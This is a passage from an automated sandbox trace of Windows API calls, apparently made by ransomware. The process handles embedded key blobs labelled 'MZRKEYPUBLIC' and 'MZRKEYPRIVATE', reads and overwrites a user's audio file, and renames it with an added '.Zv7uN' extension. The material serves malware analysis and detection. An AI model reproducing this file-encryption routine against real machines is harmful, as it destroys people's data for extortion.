bCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.810] GetCurrentThreadId () returned 0xa30 [0085.810] GetCurrentThreadId () returned 0xa30 [0085.810] GetCurrentThreadId () returned 0xa30 [0085.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.811] GetCurrentThreadId () returned 0xa30 [0085.811] GetCurrentThreadId () returned 0xa30 [0085.811] GetCurrentThreadId () returned 0xa30 [0085.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rwdr_n-a5rwirrea.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.812] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.812] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.812] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x5fe0 [0085.812] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.812] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x5fe0, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x5fe0, lpOverlapped=0x0) returned 1 [0085.814] CloseHandle (hObject=0x124) returned 1 [0085.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rwdr_n-a5rwirrea.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.817] WriteFile (in: hFile=0x124, lpBuffer=0x1ef6040*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef6040*, lpNumberOfBytesWritten=0x18f978*=0x5fe0, lpOverlapped=0x0) returned 1 [0085.819] CloseHandle (hObject=0x124) returned 1 [0085.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rwdr_n-a5rwirrea.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rwdr_n-a5rwirrea.mp3.zv7un")) returned 1 [0085.822] GetCurrentThreadId () returned 0xa30 [0085.823] GetCurrentThreadId () returned 0xa30 [0085.823] GetCurrentThreadId () returned 0xa30 [0085.823] GetCurrentThreadId () returned 0xa30 [0085.823] GetCurrentThreadId () returned 0xa30 [0085.823] GetCurrentThreadId () returned 0xa30 [0085.823] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f58310, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0xa15db610, ftLastAccessTime.dwHighDateTime=0x1d5d7ea, ftLastWriteTime.dwLowDateTime=0xa15db610, ftLastWriteTime.dwHighDateTime=0x1d5d7ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="tz0VN5KTRkT", cAlternateFileName="TZ0VN5~1")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a841b80, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x68c22160, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x68c22160, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0x12991, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="Zspe9.m4a", cAlternateFileName="")) returned 1 [0085.823] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.823] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zspe9.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a841b80, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x68c22160, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x68c22160, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0x12991)) returned 1 [0085.823] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zspe9.m4a")) returned 0x20 [0085.823] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a", dwFileAttributes=0x80) returned 1 [0085.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.827] GetCurrentThreadId () returned 0xa30 [0085.828] GetCurrentThreadId () returned 0xa30 [0085.828] GetCurrentThreadId () returned 0xa30 [0085.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 